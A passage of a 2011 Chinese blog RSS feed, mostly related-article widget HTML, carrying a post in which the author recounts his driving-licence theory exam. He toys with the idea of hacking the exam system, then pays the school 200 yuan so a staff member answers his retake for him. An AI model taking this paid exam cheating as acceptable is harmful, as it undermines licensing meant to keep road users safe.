                        &lt;img style=&quot;margin: 0 !important; padding: 2px !important; border: 1px solid #DDDDDD !important; width: 95px !important; height: 95px !important;&quot; src=&quot;http://static.wumii.com/site_images/2011/05/12/8529867.bmp&quot; width=&quot;95px&quot; height=&quot;95px&quot; /&gt;&lt;br /&gt;
                        &lt;font size=&quot;-1&quot; color=&quot;#333333&quot; style=&quot;display: block !important; line-height: 15px !important; width: 101px !important; font: 12px/15px arial !important; height: 60px !important; margin: 3px 0 0 0 !important; padding: 0 !important; overflow: hidden !important;&quot;&gt;JavaScript原始数据类型包装对象&lt;/font&gt;
                    &lt;/a&gt;
                &lt;/td&gt;
                &lt;td width=&quot;101&quot; valign=&quot;top&quot; style=&quot;padding: 5px !important; margin: 0 !important; border-left: 1px solid #DDDDDD !important;&quot;&gt;
                    &lt;a target=&quot;_blank&quot; title=&quot;JavaScript闭包&quot; style=&quot;text-decoration: none !important; cursor: pointer !important;&quot; href=&quot;http://app.wumii.com/ext/redirect.htm?url=http%3A%2F%2Fwww.ineeke.com%2Farchives%2F1205%2F&amp;from=http%3A%2F%2Fwww.ineeke.com%2Farchives%2F1410%2F&quot;&gt;
                        &lt;img style=&quot;margin: 0 !important; padding: 2px !important; border: 1px solid #DDDDDD !important; width: 95px !important; height: 95px !important;&quot; src=&quot;http://static.wumii.com/site_images/2011/05/12/8529867.bmp&quot; width=&quot;95px&quot; height=&quot;95px&quot; /&gt;&lt;br /&gt;
                        &lt;font size=&quot;-1&quot; color=&quot;#333333&quot; style=&quot;display: block !important; line-height: 15px !important; width: 101px !important; font: 12px/15px arial !important; height: 60px !important; margin: 3px 0 0 0 !important; padding: 0 !important; overflow: hidden !important;&quot;&gt;JavaScript闭包&lt;/font&gt;
                    &lt;/a&gt;
                &lt;/td&gt;
        &lt;/tr&gt;
    
    &lt;tr&gt;
        &lt;td colspan=&quot;5&quot; align=&quot;right&quot;&gt;
            &lt;a style=&quot;text-decoration: none !important;&quot; href=&quot;http://www.wumii.com/widget/relatedItems.htm&quot; target=&quot;_blank&quot; title=&quot;无觅相关文章插件&quot;&gt;
                &lt;font size=&quot;-1&quot; color=&quot;#bbbbbb&quot; style=&quot;display: block !important; font-family: arial !important; padding: 5px 0 !important; font-size: 12px !important; color: #bbb !important;&quot;&gt;无觅&lt;/font&gt;
            &lt;/a&gt;
        &lt;/td&gt;
    &lt;/tr&gt;
&lt;/table&gt;&lt;img src=&quot;http://www1.feedsky.com/t1/593716109/Neekesblog_k9wg/feedsky/s.gif?r=http://item.feedsky.com/~feedsky/Neekesblog_k9wg/~8023345/593716109/5077616/1/item.html&quot; border=&quot;0&quot; height=&quot;0&quot; width=&quot;0&quot; style=&quot;position:absolute&quot; /&gt;</description><category>JSON</category><category>ExtJS</category><pubDate>Sat, 12 Nov 2011 21:20:54 +0800</pubDate><author>Neeke</author><comments>http://www.ineeke.com/archives/1410/#comments</comments><guid isPermaLink="false">http://www.ineeke.com/?p=1410</guid><dc:creator>Neeke</dc:creator><fs:srclink>http://www.ineeke.com/archives/1410/</fs:srclink><fs:srcfeed>http://www.ineeke.com/feed/</fs:srcfeed><fs:itemid>feedsky/Neekesblog_k9wg/~8023345/593716109/5077616</fs:itemid></item><item><title>学开车 考驾照</title><link>http://item.feedsky.com/~feedsky/Neekesblog_k9wg/~8023345/593716110/5077616/1/item.html</link><content:encoded>&lt;p&gt;每周周末都去学开车，上了一周班，好不容易到周末了，时间又花到练车上了，想好好休息一下都不行。&lt;br /&gt;
&lt;span id=&quot;more-1408&quot;&gt;&lt;/span&gt;之前有时候我在想”为啥马路杀手那么多”，我想现在有点答案了。考驾照理论考试完全是个形式，100道题满分100，90才及格，虽说有点接受不了，但是想想说白了”开车就是玩命”，你不懂游戏规则肯定害人害己。话说我这个驾校(应该是报名点)很不负责啊！啥资料都不给，也没提前通知，突然某天晚上打电话说让第二天去考理论(或许这也算是提前了吧)。第二天早上赶紧给公司打电话请假，然后坐着驾校的车去考点，到了考点，我靠！来考试的人真多！&lt;br /&gt;
考场里的答题机器，windows xp系统，一个指纹识别器，一个鼠标，一个摄像头，一个类似银行柜台输密码的小键盘，普通的大屁股显示器，IE6上显示着一个网页，就是那答题系统的登录界面。嗯…坏毛病又犯了，地址栏是个内外IP，程序是用Java开发的，没有工具栏，没有菜单栏，页面用JS屏蔽掉了右键以及其它一些快捷键。本来想法是看看有没有可能搞进去，然后直接改数据库，不过我的理智完胜了这邪恶的念头，还是老老实实答题吧。输入身份证号，输入指纹，登录系统，各种判断，各种选择，各种交警动作识别后，我以69分结束了战斗！好吧，下午补考。&lt;br /&gt;
话说这分数我还是挺满意的！因为几乎考前没看过资料，完全是靠常识。驾校的人说” 给200块，下午考试包过，你坐在那只需用脸挡住视频，有人给你答题。不然考不过，以后再想补考就不止是200块的问题了，很麻烦的！”听周围其他来考试的人也是三五扎堆的谈论这个问题。好吧，哥认了！等啊等，第一波人考完试都已经到晚上7点多了，这才开始补考，我都怀疑是不是第一波考试的人都没过啊！补考的人怎么也这么多！一个人200，光我前面就排了有800个人左右，这全算下来，那还不赚大发了！&lt;br /&gt;
再次答题，双手搭桌上，盯着显示器，脸正对着视频，旁边有个MM伸出一只手在那小键盘上噼里啪啦按着，不出一分钟，100道题答完了，然后就去给其他人答题了，咱需要做的就是冲着视频傻坐着，等 开考15分钟后直接出考场走人。&lt;br /&gt;
唉！过了是过了！但是咱还是得好好找资料学习啊！安全第一啊！最后，TMD！现在这都是啥狗屁社会啊！真和谐！&lt;/p&gt;
&lt;table class=&quot;wumii-related-items&quot; cellspacing=&quot;0&quot; cellpadding=&quot;3&quot; border=&quot;0&quot;  style=&quot;clear: both;&quot;&gt;
    
    &lt;tr&gt;
        &lt;td colspan=&quot;3&quot;&gt;&lt;b&gt;&lt;font size=&quot;-1&quot;  style=&quot;display: block !important; padding: 20px 0 5px !important;&quot;&gt;您可能也喜欢：&lt;/font&gt;&lt;/b&gt;&lt;/td&gt;
    &lt;/tr&gt;
    
        &lt;tr&gt;
                &lt;td width=&quot;101&quot; valign=&quot;top&quot; style=&quot;padding: 5px !important; margin: 0 !important;&quot;&gt;
                    &lt;a target=&quot;_blank&quot; title=&quot;JavaScript函数作用域链&quot; style=&quot;text-decoration: none !important; cursor: pointer !important;&quot; href=&quot;http://app.wumii.com/ext/redirect.htm?url=http%3A%2F%2Fwww.ineeke.com%2Farchives%2F1200%2F&amp;from=http%3A%2F%2Fwww.ineeke.com%2Farchives%2F1408%2F&quot;&gt;
                        &lt;img style=&quot;margin: 0 !important; padding: 2px !important; border: 1px solid #DDDDDD !important; width: 95px !important; height: 95px !important;&quot; src=&quot;http://static.wumii.com/site_images/2011/05/12/8529867.bmp&quot; width=&quot;95px&quot; height=&quot;95px&quot; /&gt;&lt;br /&gt;
                        &lt;font size=&quot;-1&quot; color=&quot;#333333&quot; style=&quot;display: block !important; line-height: 15px !important; width: 101px !important; font: 12px/15px arial !important; height: 60px !important; margin: 3px 0 0 0 !important; padding: 0 !important; overflow: hidden !important;&quot;&gt;JavaScript函数作用域链&lt;/font&gt;
                    &lt;/a&gt;
                &lt;/td&gt;
                &lt;td width=&quot;101&quot; valign=&quot;top&quot; style=&quot;padding: 5px !important; margin: 0 !important; border-left: 1px solid #DDDDDD !important;&quot;&gt;
                    &lt;a target=&quot;_blank&quot; title=&quot;买了一部魅族M8&quot; style=&quot;text-decoration: none !important; cursor: pointer !important;&quot; href=&quot;http://app.wumii.com/ext/redirect.htm?url=http%3A%2F%2Fwww.ineeke.com%2Farchives%2F1226%2F&amp;from=http%3A%2F%2Fwww.ineeke.com%2Farchives%2F1408%2F&quot;&gt;
                        &lt;img style=&quot;margin: 0 !important; padding: 2px !important; border: 1px solid #DDDDDD !important; width: 95px !important; height: 95px !important;&quot; src=&quot;http://static.wumii.com/site_images/2011/06/27/14536966.jpg&quot; width=&quot;95px&quot; height=&quot;95px&quot; /&gt;&lt;br /&gt;
                        &lt;font size=&quot;-1&quot; color=&quot;#333333&quot; style=&quot;display: block !important; line-height: 15px !important; width: 101px !important; font: 12px/15px arial !important; height: 60px !important; margin: 3px 0 0 0 !important; padding: 0 !important; overflow: hidden !important;&quot;&gt;买了一部魅族M8&lt;/font&gt;
                    &lt;/a&gt;
                &lt;/td&gt;
                &lt;td width=&quot;101&quot; valign=&quot;top&quot; style=&quot;padding: 5px !important; margin: 0 !important; border-left: 1px solid #DDDDDD !important;&quot;&gt;
                    &lt;a target=&quot;_blank&quot; title=&quot;JavaScript绘制笑脸&quot; style=&quot;text-decoration: none !important; cursor: pointer !important;&quot; href=&quot;http://app.wumii.com/ext/redirect.htm?url=http%3A%2F%2Fwww.ineeke.com%2Farchives%2F1222%2F&amp;from=http%3A%2F%2Fwww.ineeke.com%2Farchives%2F1408%2F&quot;&gt;
                        &lt;img style=&quot;margin: 0 !important; padding: 2px !important; border: 1px solid #DDDDDD !important; width: 95px !important; height: 95px !important;&quot; src=&quot;http://static.wumii.com/site_images/2011/06/07/11304948.png&quot; width=&quot;95px&quot; height=&quot;95px&quot; /&gt;&lt;br /&gt;
                        &lt;font size=&quot;-1&quot; color=&quot;#333333&quot; style=&quot;display: block !important; line-height: 15px !important; width: 101px !important; font: 12px/15px arial !important; height: 60px !important; margin: 3px 0 0 0 !important; padding: 0 !important; overflow: hidden !important;&quot;&gt;JavaScript绘制笑脸&lt;/font&gt;
                    &lt;/a&gt;
                &lt;/td&gt;
        &lt;/tr&gt;
        &lt;br/&gt;
    &lt;tr&gt;
        &lt;td colspan=&quot;3&quot;&gt;&lt;b&gt;&lt;font size=&quot;-1&quot;  style=&quot;display: block !important; padding: 20px 0 5px !important;&quot;&gt;来自无觅网络的相关文章：&lt;/font&gt;&lt;/b&gt;&lt;/td&gt;
    &lt;/tr&gt;
    
        &lt;tr&gt;
                &lt;td width=&quot;101&quot; valign=&quot;top&quot; style=&quot;padding: 5px !important; margin: 0 !important;&quot;&gt;
                    &lt;a target=&quot;_blank&quot; title=&quot;22P 一款名为AstrumMeera的安全环保概念车&quot; style=&quot;text-decoration: none !important; cursor: pointer !important;&quot; href=&quot;http://app.wumii.com/ext/redirect.htm?url=http%3A%2F%2Fwww.fu51.cn%2F%3Fp%3D2455&amp;from=http%3A%2F%2Fwww.ineeke.com%2Farchives%2F1408%2F&quot;&gt;
                        &lt;img style=&quot;margin: 0 !important; padding: 2px !important; border: 1px solid #DDDDDD !important; width: 95px !important; height: 95px !important;&quot; src=&quot;http://static.wumii.com/site_images/2011/04/02/4918757.jpg&quot; width=&quot;95px&quot; height=&quot;95px&quot; /&gt;&lt;br /&gt;
                        &lt;font size=&quot;-1&quot; color=&quot;#333333&quot; style=&quot;display: block !important; line-height: 15px !important; width: 101px !important; font: 12px/15px arial !important; height: 60px !important; margin: 3px 0 0 0 !important; padding: 0 !important; overflow: hidden !important;&quot;&gt;22P 一款名为AstrumMeera的安全环保概念车 (@fu51)&lt;/font&gt;
                    &lt;/a&gt;
                &lt;/td&gt;
                &lt;td width=&quot;101&quot; valign=&quot;top&quot; style=&quot;padding: 5px !important; margin: 0 !important; border-left: 1px solid #DDDDDD !important;&quot;&gt;
                    &lt;a target=&quot;_blank&quot; title=&quot;6P 日内瓦车展2011年雷诺的新概念车&quot; style=&quot;text-decoration: none !important; cursor: pointer !important;&quot; href=&quot;http://app.wumii.com/ext/redirect.htm?url=http%3A%2F%2Fwww.fu51.cn%2F%3Fp%3D2997&amp;from=http%3A%2F%2Fwww.ineeke.com%2Farchives%2F1408%2F&quot;&gt;
                        &lt;img style=&quot;margin: 0 !important; padding: 2px !important; border: 1px solid #DDDDDD !important; width: 95px !important; height: 95px !important;&quot; src=&quot;http://static.wumii.com/site_images/2011/04/11/5466312.jpg&quot; width=&quot;95px&quot; height=&quot;95px&quot; /&gt;&lt;br /&gt;
                        &lt;font size=&quot;-1&quot; color=&quot;#333333&quot; style=&quot;display: block !important; line-height: 15px !important; width: 101px !important; font: 12px/15px arial !important; height: 60px !important; margin: 3px 0 0 0 !important; padding: 0 !important; overflow: hidden !important;&quot;&gt;6P 日内瓦车展2011年雷诺的新概念车 (@fu51)&lt;/font&gt;
                    &lt;/a&gt;
                &lt;/td&gt;
                &lt;td width=&quot;101&quot; valign=&quot;top&quot; style=&quot;padding: 5px !important; margin: 0 !important; border-left: 1px solid #DDDDDD !important;&quot;&gt;
                    &lt;a target=&quot;_blank&quot; title=&quot;关于这两天打不开网站的公告&quot; style=&quot;text-decoration: none !important; cursor: pointer !important;&quot; href=&quot;http://app.wumii.com/ext/redirect.htm?url=http%3A%2F%2Fwww.zsxsoft.tk%2Fpost%2F178gg-cannot-open2011-12-19%2F&amp;from=http%3A%2F%2Fwww.ineeke.com%2Farchives%2F1408%2F&quot;&gt;
                        &lt;img style=&quot;margin: 0 !important; padding: 2px !important; border: 1px solid #DDDDDD !important; width: 95px !important; height: 95px !important;&quot; src=&quot;http://www.zsxsoft.tk/themes/Maxthon_Final/style/images/logo.gif&quot; width=&quot;95px&quot; height=&quot;95px&quot; /&gt;&lt;br /&gt;
                        &lt;font size=&quot;-1&quot; color=&quot;#333333&quot; style=&quot;display: block !important; line-height: 15px !important; width: 101px !important; font: 12px/15px arial !important; height: 60px !important; margin: 3px 0 0 0 !important; padding: 0 !important; overflow: hidden !important;&quot;&gt;关于这两天打不开网站的公告 (@zsxsoft)&lt;/font&gt;
                    &lt;/a&gt;
                &lt;/td&gt;
                &lt;td width=&quot;101&quot; valign=&quot;top&quot; style=&quot;padding: 5px !important; margin: 0 !important; border-left: 1px solid #DDDDDD !important;&quot;&gt;
                    &lt;a target=&quot;_blank&quot; title=&quot;12P DR核心超级跑车的设计元素及最终车型效果&quot; style=&quot;text-decoration: none !important; cursor: pointer !important;&quot; href=&quot;http://app.wumii.com/ext/redirect.htm?url=http%3A%2F%2Fwww.fu51.cn%2F%3Fp%3D2960&amp;from=http%3A%2F%2Fwww.ineeke.com%2Farchives%2F1408%2F&quot;&gt;
                        &lt;img style=&quot;margin: 0 !important; padding: 2px !important; border: 1px solid #DDDDDD !important; width: 95px !important; height: 95px !important;&quot; src=&quot;http://static.wumii.com/site_images/2011/04/11/5452132.jpg&quot; width=&quot;95px&quot; height=&quot;95px&quot; /&gt;&lt;br /&gt;
                        &lt;font size=&quot;-1&quot; color=&quot;#333333&quot; style=&quot;display: block !important; line-height: 15px !important; width: 101px !important; font: 12px/15px arial !important; height: 60px !important; margin: 3px 0 0 0 !important; padding: 0 !important; overflow: hidden !important;&quot;&gt;12P DR核心超级跑车的设计元素及最终车型效果 (@fu51)&lt;/font&gt;
                    &lt;/a&gt;
                &lt;/td&gt;
                &lt;td width=&quot;101&quot; valign=&quot;top&quot; style=&quot;padding: 5px !important; margin: 0 !important; border-left: 1px solid #DDDDDD !important;&quot;&gt;
                    &lt;a target=&quot;_blank&quot; title=&quot;28P新概念车MINI Rocketman全图解析及设计绘图&quot; style=&quot;text-decoration: none !important; cursor: pointer !important;&quot; href=&quot;http://app.wumii.com/ext/redirect.htm?url=http%3A%2F%2Fwww.fu51.cn%2F%3Fp%3D3015&amp;from=http%3A%2F%2Fwww.ineeke.com%2Farchives%2F1408%2F&quot;&gt;
                        &lt;img style=&quot;margin: 0 !important; padding: 2px !important; border: 1px solid #DDDDDD !important; width: 95px !important; height: 95px !important;&quot; src=&quot;http://static.wumii.com/site_images/2011/04/12/5507897.jpg&quot; width=&quot;95px&quot; height=&quot;95px&quot; /&gt;&lt;br /&gt;
                        &lt;font size=&quot;-1&quot; color=&quot;#333333&quot; style=&quot;display: block !important; line-height: 15px !important; width: 101px !important; font: 12px/15px arial !important; height: 60px !important; margin: 3px 0 0 0 !important; padding: 0 !important; overflow: hidden !important;&quot;&gt;28P新概念车MINI Rocketman全图解析及设计绘图 (@fu51)&lt;/font&gt;
                    &lt;/a&gt;
                &lt;/td&gt;
        &lt;/tr&gt;
    
    &lt;tr&gt;
        &lt;td colspan=&quot;3&quot; align=&quot;right&quot;&gt;
            &lt;a style=&quot;text-decoration: none !important;&quot; href=&quot;http://www.wumii.com/widget/relatedItems.htm&quot; target=&quot;_blank&quot; title=&quot;无觅相关文章插件&quot;&gt;
                &lt;font size=&quot;-1&quot; color=&quot;#bbbbbb&quot; style=&quot;display: block !important; font-family: arial !important; padding: 5px 0 !important; font-size: 12px !important; color: #bbb !important;&quot;&gt;无觅&lt;/font&gt;
            &lt;/a&gt;
        &lt;/td&gt;
    &lt;/tr&gt;
&lt;/table&gt;&lt;img src=&quot;http://www1.feedsky.com/t1/593716110/Neekesblog_k9wg/feedsky/s.gif?r=http://item.feedsky.com/~feedsky/Neekesblog_k9wg/~8023345/593716110/5077616/1/item.html&quot; border=&quot;0&quot; height=&quot;0&quot; width=&quot;0&quot; style=&quot;position:absolute&quot; /&gt;</content:encoded><wfw:commentRss>http://www.ineeke.com/archives/1408/feed/</wfw:commentRss><slash:comments>23</slash:comments><description>每周周末都去学开车，上了一周班，好不容易到周末了，时间又花到练车上了，想好好休息一下都不行。 之前有时候我在想”为啥马路杀手那么多”，我想现在有点答案了。考驾照理论考试完全是个形式，100道题满分100，90才及格，虽说有点接受不了，但是想想说白了”开车就是玩命”，你不懂游戏规则肯定害人害己。话说我这个驾校(应该是报名点)很不负责啊！啥资料都不给，也没提前通知，突然某天晚上打电话说让第二天去考理论(或许这也算是提前了吧)。第二天早上赶紧给公司打电话请假，然后坐着驾校的车去考点，到了考点，我靠！来考试的人真多！ 考场里的答题机器，windows xp系统，一个指纹识别器，一个鼠标，一个摄像头，一个类似银行柜台输密码的小键盘，普通的大屁股显示器，IE6上显示着一个网页，就是那答题系统的登录界面。嗯…坏毛病又犯了，地址栏是个内外IP，程序是用Java开发的，没有工具栏，没有菜单栏，页面用JS屏蔽掉了右键以及其它一些快捷键。本来想法是看看有没有可能搞进去，然后直接改数据库，不过我的理智完胜了这邪恶的念头，还是老老实实答题吧。输入身份证号，输入指纹，登录系统，各种判断，各种选择，各种交警动作识别后，我以69分结束了战斗！好吧，下午补考。 话说这分数我还是挺满意的！因为几乎考前没看过资料，完全是靠常识。驾校的人说” 给200块，下午考试包过，你坐在那只需用脸挡住视频，有人给你答题。不然考不过，以后再想补考就不止是200块的问题了，很麻烦的！”听周围其他来考试的人也是三五扎堆的谈论这个问题。好吧，哥认了！等啊等，第一波人考完试都已经到晚上7点多了，这才开始补考，我都怀疑是不是第一波考试的人都没过啊！补考的人怎么也这么多！一个人200，光我前面就排了有800个人左右，这全算下来，那还不赚大发了！ 再次答题，双手搭桌上，盯着显示器，脸正对着视频，旁边有个MM伸出一只手在那小键盘上噼里啪啦按着，不出一分钟，100道题答完了，然后就去给其他人答题了，咱需要做的就是冲着视频傻坐着，等 开考15分钟后直接出考场走人。 唉！过了是过了！但是咱还是得好好找资料学习啊！安全第一啊！最后，TMD！现在这都是啥狗屁社会啊！真和谐！&lt;table class=&quot;wumii-related-items&quot; cellspacing=&quot;0&quot; cellpadding=&quot;3&quot; border=&quot;0&quot;  style=&quot;clear: both;&quot;&gt;
    
    &lt;tr&gt;
        &lt;td colspan=&quot;4&quot;&gt;&lt;b&gt;&lt;font size=&quot;-1&quot;  style=&quot;display: block !important; padding: 20px 0 5px !important;&quot;&gt;您可能也喜欢：&lt;/font&gt;&lt;/b&gt;&lt;/td&gt;
    &lt;/tr&gt;
    
        &lt;tr&gt;
                &lt;td width=&quot;101&quot; valign=&quot;top&quot; style=&quot;padding: 5px !important; margin: 0 !important;&quot;&gt;
                    &lt;a target=&quot;_blank&quot; title=&quot;ExtJS GridPanel动态列&quot; style=&quot;text-decoration: none !important; cursor: pointer !important;&quot; href=&quot;http://app.wumii.com/ext/redirect.htm?url=http%3A%2F%2Fwww.ineeke.com%2Farchives%2F923%2F&amp;from=http%3A%2F%2Fwww.ineeke.com%2Farchives%2F1408%2F&quot;&gt;
                        &lt;img style=&quot;margin: 0 !important; padding: 2px !important; border: 1px solid #DDDDDD !important; width: 95px !important; height: 95px !important;&quot; src=&quot;http://static.wumii.com/site_images/2011/05/06/7706736.jpg&quot; width=&quot;95px&quot; height=&quot;95px&quot; /&gt;&lt;br /&gt;
                        &lt;font size=&quot;-1&quot; color=&quot;#333333&quot; style=&quot;display: block !important; line-height: 15px !important; width: 101px !important; font: 12px/15px arial !important; height: 60px !important; margin: 3px 0 0 0 !important; padding: 0 !important; overflow: hidden !important;&quot;&gt;ExtJS GridPanel动态列&lt;/font&gt;
                    &lt;/a&gt;
                &lt;/td&gt;
                &lt;td width=&quot;101&quot; valign=&quot;top&quot; style=&quot;padding: 5px !important; margin: 0 !important; border-left: 1px solid #DDDDDD !important;&quot;&gt;
                    &lt;a target=&quot;_blank&quot; title=&quot;为绝版电影《毒咒》入侵服务器&quot; style=&quot;text-decoration: none !important; cursor: pointer !important;&quot; href=&quot;http://app.wumii.com/ext/redirect.htm?url=http%3A%2F%2Fwww.ineeke.com%2Farchives%2F865%2F&amp;from=http%3A%2F%2Fwww.ineeke.com%2Farchives%2F1408%2F&quot;&gt;
                        &lt;img style=&quot;margin: 0 !important; padding: 2px !important; border: 1px solid #DDDDDD !important; width: 95px !important; height: 95px !important;&quot; src=&quot;http://static.wumii.com/site_images/2011/05/08/7982035.jpg&quot; width=&quot;95px&quot; height=&quot;95px&quot; /&gt;&lt;br /&gt;
                        &lt;font size=&quot;-1&quot; color=&quot;#333333&quot; style=&quot;display: block !important; line-height: 15px !important; width: 101px !important; font: 12px/15px arial !important; height: 60px !important; margin: 3px 0 0 0 !important; padding: 0 !important; overflow: hidden !important;&quot;&gt;为绝版电影《毒咒》入侵服务器&lt;/font&gt;
                    &lt;/a&gt;
                &lt;/td&gt;
                &lt;td width=&quot;101&quot; valign=&quot;top&quot; style=&quot;padding: 5px !important; margin: 0 !important; border-left: 1px solid #DDDDDD !important;&quot;&gt;
                    &lt;a target=&quot;_blank&quot; title=&quot;高中母校网站被黑客LJ了&quot; style=&quot;text-decoration: none !important; cursor: pointer !important;&quot; href=&quot;http://app.wumii.com/ext/redirect.htm?url=http%3A%2F%2Fwww.ineeke.com%2Farchives%2F1337%2F&amp;from=http%3A%2F%2Fwww.ineeke.com%2Farchives%2F1408%2F&quot;&gt;
                        &lt;img style=&quot;margin: 0 !important; padding: 2px !important; border: 1px solid #DDDDDD !important; width: 95px !important; height: 95px !important;&quot; src=&quot;http://static.wumii.com/site_images/2011/05/18/8853470.png&quot; width=&quot;95px&quot; height=&quot;95px&quot; /&gt;&lt;br /&gt;
                        &lt;font size=&quot;-1&quot; color=&quot;#333333&quot; style=&quot;display: block !important; line-height: 15px !important; width: 101px !important; font: 12px/15px arial !important; height: 60px !important; margin: 3px 0 0 0 !important; padding: 0 !important; overflow: hidden !important;&quot;&gt;高中母校网站被黑客LJ了&lt;/font&gt;
                    &lt;/a&gt;
                &lt;/td&gt;
                &lt;td width=&quot;101&quot; valign=&quot;top&quot; style=&quot;padding: 5px !important; margin: 0 !important; border-left: 1px solid #DDDDDD !important;&quot;&gt;
                    &lt;a target=&quot;_blank&quot; title=&quot;拒绝鼠标手&quot; style=&quot;text-decoration: none !important; cursor: pointer !important;&quot; href=&quot;http://app.wumii.com/ext/redirect.htm?url=http%3A%2F%2Fwww.ineeke.com%2Farchives%2F1279%2F&amp;from=http%3A%2F%2Fwww.ineeke.com%2Farchives%2F1408%2F&quot;&gt;
                        &lt;img style=&quot;margin: 0 !important; padding: 2px !important; border: 1px solid #DDDDDD !important; width: 95px !important; height: 95px !important;&quot; src=&quot;http://static.wumii.com/site_images/2011/05/11/8302314.jpg&quot; width=&quot;95px&quot; height=&quot;95px&quot; /&gt;&lt;br /&gt;
                        &lt;font size=&quot;-1&quot; color=&quot;#333333&quot; style=&quot;display: block !important; line-height: 15px !important; width: 101px !important; font: 12px/15px arial !important; height: 60px !important; margin: 3px 0 0 0 !important; padding: 0 !important; overflow: hidden !important;&quot;&gt;拒绝鼠标手&lt;/font&gt;
                    &lt;/a&gt;
                &lt;/td&gt;
        &lt;/tr&gt;
        &lt;br/&gt;
    &lt;tr&gt;
        &lt;td colspan=&quot;4&quot;&gt;&lt;b&gt;&lt;font size=&quot;-1&quot;  style=&quot;display: block !important; padding: 20px 0 5px !important;&quot;&gt;来自无觅网络的相关文章：&lt;/font&gt;&lt;/b&gt;&lt;/td&gt;
    &lt;/tr&gt;
    
        &lt;tr&gt;
                &lt;td width=&quot;101&quot; valign=&quot;top&quot; style=&quot;padding: 5px !important; margin: 0 !important;&quot;&gt;
                    &lt;a target=&quot;_blank&quot; title=&quot;22P 一款名为AstrumMeera的安全环保概念车&quot; style=&quot;text-decoration: none !important; cursor: pointer !important;&quot; href=&quot;http://app.wumii.com/ext/redirect.htm?url=http%3A%2F%2Fwww.fu51.cn%2F%3Fp%3D2455&amp;from=http%3A%2F%2Fwww.ineeke.com%2Farchives%2F1408%2F&quot;&gt;
                        &lt;img style=&quot;margin: 0 !important; padding: 2px !important; border: 1px solid #DDDDDD !important; width: 95px !important; height: 95px !important;&quot; src=&quot;http://static.wumii.com/site_images/2011/04/02/4918757.jpg&quot; width=&quot;95px&quot; height=&quot;95px&quot; /&gt;&lt;br /&gt;
                        &lt;font size=&quot;-1&quot; color=&quot;#333333&quot; style=&quot;display: block !important; line-height: 15px !important; width: 101px !important; font: 12px/15px arial !important; height: 60px !important; margin: 3px 0 0 0 !important; padding: 0 !important; overflow: hidden !important;&quot;&gt;22P 一款名为AstrumMeera的安全环保概念车 (@fu51)&lt;/font&gt;
                    &lt;/a&gt;
                &lt;/td&gt;
                &lt;td width=&quot;101&quot; valign=&quot;top&quot; style=&quot;padding: 5px !important; margin: 0 !important; border-left: 1px solid #DDDDDD !important;&quot;&gt;
                    &lt;a target=&quot;_blank&quot; title=&quot;6P 日内瓦车展2011年雷诺的新概念车&quot; style=&quot;text-decoration: none !important; cursor: pointer !important;&quot; href=&quot;http://app.wumii.com/ext/redirect.htm?url=http%3A%2F%2Fwww.fu51.cn%2F%3Fp%3D2997&amp;from=http%3A%2F%2Fwww.ineeke.com%2Farchives%2F1408%2F&quot;&gt;
                        &lt;img style=&quot;margin: 0 !important; padding: 2px !important; border: 1px solid #DDDDDD !important; width: 95px !important; height: 95px !important;&quot; src=&quot;http://static.wumii.com/site_images/2011/04/11/5466312.jpg&quot; width=&quot;95px&quot; height=&quot;95px&quot; /&gt;&lt;br /&gt;
                        &lt;font size=&quot;-1&quot; color=&quot;#333333&quot; style=&quot;display: block !important; line-height: 15px !important; width: 101px !important; font: 12px/15px arial !important; height: 60px !important; margin: 3px 0 0 0 !important; padding: 0 !important; overflow: hidden !important;&quot;&gt;6P 日内瓦车展2011年雷诺的新概念车 (@fu51)&lt;/font&gt;
                    &lt;/a&gt;
                &lt;/td&gt;
                &lt;td width=&quot;101&quot; valign=&quot;top&quot; style=&quot;padding: 5px !important; margin: 0 !important; border-left: 1px solid #DDDDDD !important;&quot;&gt;
                    &lt;a target=&quot;_blank&quot; title=&quot;关于这两天打不开网站的公告&quot; style=&quot;text-decoration: none !important; cursor: pointer !important;&quot; href=&quot;http://app.wumii.com/ext/redirect.htm?url=http%3A%2F%2Fwww.zsxsoft.tk%2Fpost%2F178gg-cannot-open2011-12-19%2F&amp;from=http%3A%2F%2Fwww.ineeke.com%2Farchives%2F1408%2F&quot;&gt;
                        &lt;img style=&quot;margin: 0 !important; padding: 2px !important; border: 1px solid #DDDDDD !important; width: 95px !important; height: 95px !important;&quot; src=&quot;http://www.zsxsoft.tk/themes/Maxthon_Final/style/images/logo.gif&quot; width=&quot;95px&quot; height=&quot;95px&quot; /&gt;&lt;br /&gt;
                        &lt;font size=&quot;-1&quot; color=&quot;#333333&quot; style=&quot;display: block !important; line-height: 15px !important; width: 101px !important; font: 12px/15px arial !important; height: 60px !important; margin: 3px 0 0 0 !important; padding: 0 !important; overflow: hidden !important;&quot;&gt;关于这两天打不开网站的公告 (@zsxsoft)&lt;/font&gt;
                    &lt;/a&gt;
                &lt;/td&gt;
                &lt;td width=&quot;101&quot; valign=&quot;top&quot; style=&quot;padding: 5px !important; margin: 0 !important; border-left: 1px solid #DDDDDD !important;&quot;&gt;
                    &lt;a target=&quot;_blank&quot; title=&quot;12P DR核心超级跑车的设计元素及最终车型效果&quot; style=&quot;text-decoration: none !important; cursor: pointer !important;&quot; href=&quot;http://app.wumii.com/ext/redirect.htm?url=http%3A%2F%2Fwww.fu51.cn%2F%3Fp%3D2960&amp;from=http%3A%2F%2Fwww.ineeke.com%2Farchives%2F1408%2F&quot;&gt;
                        &lt;img style=&quot;margin: 0 !important; padding: 2px !important; border: 1px solid #DDDDDD !important; width: 95px !important; height: 95px !important;&quot; src=&quot;http://static.wumii.com/site_images/2011/04/11/5452132.jpg&quot; width=&quot;95px&quot; height=&quot;95px&quot; /&gt;&lt;br /&gt;
                        &lt;font size=&quot;-1&quot; color=&quot;#333333&quot; style=&quot;display: block !important; line-height: 15px !important; width: 101px !important; font: 12px/15px arial !important; height: 60px !important; margin: 3px 0 0 0 !important; padding: 0 !important; overflow: hidden !important;&quot;&gt;12P DR核心超级跑车的设计元素及最终车型效果 (@fu51)&lt;/font&gt;
                    &lt;/a&gt;
                &lt;/td&gt;
                &lt;td width=&quot;101&quot; valign=&quot;top&quot; style=&quot;padding: 5px !important; margin: 0 !important; border-left: 1px solid #DDDDDD !important;&quot;&gt;
                    &lt;a target=&quot;_blank&quot; title=&quot;28P新概念车MINI Rocketman全图解析及设计绘图&quot; style=&quot;text-decoration: none !important; cursor: pointer !important;&quot; href=&quot;http://app.wumii.com/ext/redirect.htm?url=http%3A%2F%2Fwww.fu51.cn%2F%3Fp%3D3015&amp;from=http%3A%2F%2Fwww.ineeke.com%2Farchives%2F1408%2F&quot;&gt;
